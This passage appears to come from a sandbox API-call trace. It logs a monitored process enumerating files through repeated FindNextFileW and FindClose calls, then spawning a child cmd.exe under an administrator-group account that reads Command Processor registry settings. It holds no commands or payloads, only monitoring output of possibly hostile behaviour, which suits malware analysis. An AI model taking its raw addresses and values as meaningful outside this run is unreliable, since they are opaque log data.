lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0307.344] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0307.345] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0307.345] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0307.345] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0307.346] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0307.346] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0307.346] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.346] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.348] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.348] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.348] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0307.352] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.355] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.356] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.357] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.357] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.357] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.357] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.358] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.358] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.358] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.358] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.358] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.358] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.359] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.359] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.361] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.361] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.361] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.361] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.364] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.364] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.550] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.550] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.550] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.550] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.551] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.551] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.551] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.553] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0307.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.553] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.553] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0307.554] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.554] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0307.554] FindClose (in: hFindFile=0x7fd0c8 | out: hFindFile=0x7fd0c8) returned 1 [0307.554] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.555] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.556] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.556] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.556] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.557] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.557] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.558] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0307.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.558] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0307.558] FindClose (in: hFindFile=0x7fd308 | out: hFindFile=0x7fd308) returned 1 [0307.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.559] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.560] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0307.560] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0307.560] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0307.560] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0307.561] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.561] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0307.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0307.714] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0307.716] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0307.716] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0307.812] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.812] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0307.967] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.967] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0309.032] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0309.032] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0309.032] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0309.032] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0309.032] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0309.032] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0309.036] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0309.036] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0309.093] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0309.098] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0309.098] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0309.098] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0309.098] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0309.099] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0309.099] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0309.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.471] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0309.471] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0309.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0309.472] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0309.472] FindClose (in: hFindFile=0x7fd248 | out: hFindFile=0x7fd248) returned 1 [0309.473] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.473] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.473] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.473] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.473] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.473] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.652] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.653] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.653] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0309.653] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0309.882] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0309.882] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0310.108] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0310.108] FindNextFileW (in: hFindFile=0x7fd308, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0310.108] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0310.110] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0310.135] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0310.135] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0310.135] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0310.135] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0310.137] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0310.137] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0310.211] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0310.211] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0310.211] FindClose (in: hFindFile=0x7fd088 | out: hFindFile=0x7fd088) returned 1 [0310.211] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0310.211] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0310.211] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0310.211] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0310.211] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0310.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0310.212] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0310.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0310.212] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0310.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0310.215] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0311.341] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0311.341] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0311.341] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0311.342] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0311.956] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0312.081] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0312.081] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0312.081] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0312.081] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0312.081] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0312.083] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0312.085] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4544010 | out: hHeap=0x700000) returned 1 [0312.085] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0312.086] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4544010 | out: hHeap=0x700000) returned 1 [0312.086] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0312.127] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4554018 | out: hHeap=0x700000) returned 1 [0312.127] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0312.127] FindClose (in: hFindFile=0x7fcdc8 | out: hFindFile=0x7fcdc8) returned 1 [0312.127] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4544010 | out: hHeap=0x700000) returned 1 [0312.128] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0312.128] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0312.130] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7197e000" os_pid = "0xf64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xf58" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0xf68 [0293.472] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff67d010000 [0293.472] __set_app_type (_Type=0x1) [0293.472] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff67d026d00) returned 0x0 [0293.472] __getmainargs (in: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210, _DoWildCard=0, _StartInfo=0x7ff67d04921c | out: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210) returned 0 [0293.472] _onexit (_Func=0x7ff67d027fd0) returned 0x7ff67d027fd0 [0293.473] _onexit (_Func=0x7ff67d027fe0) returned 0x7ff67d027fe0 [0293.473] _onexit (_Func=0x7ff67d027ff0) returned 0x7ff67d027ff0 [0293.473] _onexit (_Func=0x7ff67d028000) returned 0x7ff67d028000 [0293.473] _onexit (_Func=0x7ff67d028010) returned 0x7ff67d028010 [0293.473] _onexit (_Func=0x7ff67d028020) returned 0x7ff67d028020 [0293.473] GetCurrentThreadId () returned 0xf68 [0293.473] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf68) returned 0x70 [0293.474] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffec1940000 [0293.474] GetProcAddress (hModule=0x7ffec1940000, lpProcName="SetThreadUILanguage") returned 0x7ffec195a990 [0293.474] SetThreadUILanguage (LangId=0x0) returned 0x409 [0294.369] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0294.369] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x217b1bf768 | out: phkResult=0x217b1bf768*=0x0) returned 0x2 [0294.370] VirtualQuery (in: lpAddress=0x217b1bf754, lpBuffer=0x217b1bf6d0, dwLength=0x30 | out: lpBuffer=0x217b1bf6d0*(BaseAddress=0x217b1bf000, AllocationBase=0x217b0c0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0294.370] VirtualQuery (in: lpAddress=0x217b0c0000, lpBuffer=0x217b1bf6d0, dwLength=0x30 | out: lpBuffer=0x217b1bf6d0*(BaseAddress=0x217b0c0000, AllocationBase=0x217b0c0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0294.370] VirtualQuery (in: lpAddress=0x217b0c1000, lpBuffer=0x217b1bf6d0, dwLength=0x30 | out: lpBuffer=0x217b1bf6d0*(BaseAddress=0x217b0c1000, AllocationBase=0x217b0c0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0294.370] VirtualQuery (in: lpAddress=0x217b0c4000, lpBuffer=0x217b1bf6d0, dwLength=0x30 | out: lpBuffer=0x217b1bf6d0*(BaseAddress=0x217b0c4000, AllocationBase=0x217b0c0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0294.370] VirtualQuery (in: lpAddress=0x217b1c0000, lpBuffer=0x217b1bf6d0, dwLength=0x30 | out: lpBuffer=0x217b1bf6d0*(BaseAddress=0x217b1c0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffa58d, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0294.370] GetConsoleOutputCP () returned 0x1b5 [0295.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0295.420] SetConsoleCtrlHandler (HandlerRoutine=0x7ff67d038150, Add=1) returned 1 [0295.420] _get_osfhandle (_FileHandle=1) returned 0x24c [0295.420] GetConsoleMode (in: hConsoleHandle=0x24c, lpMode=0x7ff67d04fc04 | out: lpMode=0x7ff67d04fc04) returned 0 [0295.420] _get_osfhandle (_FileHandle=0) returned 0x240 [0295.420] GetConsoleMode (in: hConsoleHandle=0x240, lpMode=0x7ff67d04fc00 | out: lpMode=0x7ff67d04fc00) returned 0 [0295.420] _get_osfhandle (_FileHandle=1) returned 0x24c [0295.420] SetConsoleMode (hConsoleHandle=0x24c, dwMode=0x0) returned 0 [0295.420] _get_osfhandle (_FileHandle=1) returned 0x24c [0295.420] GetConsoleMode (in: hConsoleHandle=0x24c, lpMode=0x7ff67d04fc08 | out: lpMode=0x7ff67d04fc08) returned 0 [0295.420] _get_osfhandle (_FileHandle=0) returned 0x240 [0295.420] GetConsoleMode (in: hConsoleHandle=0x240, lpMode=0x7ff67d04fc0c | out: lpMode=0x7ff67d04fc0c) returned 0 [0295.421] GetEnvironmentStringsW () returned 0x21776cf5a10* [0295.421] GetProcessHeap () returned 0x21776cf0000 [0295.421] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xa7c) returned 0x21776cf64a0 [0295.421] FreeEnvironmentStringsA (penv="A") returned 1 [0295.421] GetProcessHeap () returned 0x21776cf0000 [0295.421] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x8) returned 0x21776cf6f30 [0295.421] GetEnvironmentStringsW () returned 0x21776cf5a10* [0295.421] GetProcessHeap () returned 0x21776cf0000 [0295.421] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xa7c) returned 0x21776cf6f50 [0295.421] FreeEnvironmentStringsA (penv="A") returned 1 [0295.421] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x217b1be618 | out: phkResult=0x217b1be618*=0x7c) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x4, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x1, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x0, lpData=0x217b1be630*=0x1, lpcbData=0x217b1be614*=0x1000) returned 0x2 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x0, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, lpData=0x217b1be630*=0x40, lpcbData=0x217b1be614*=0x4) returned 0x0 [0295.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x217b1be610, lpData=0x217b1be630, lpcbData=0x217b1be614*=0x1000 | out: lpType=0x217b1be610*=0x4, 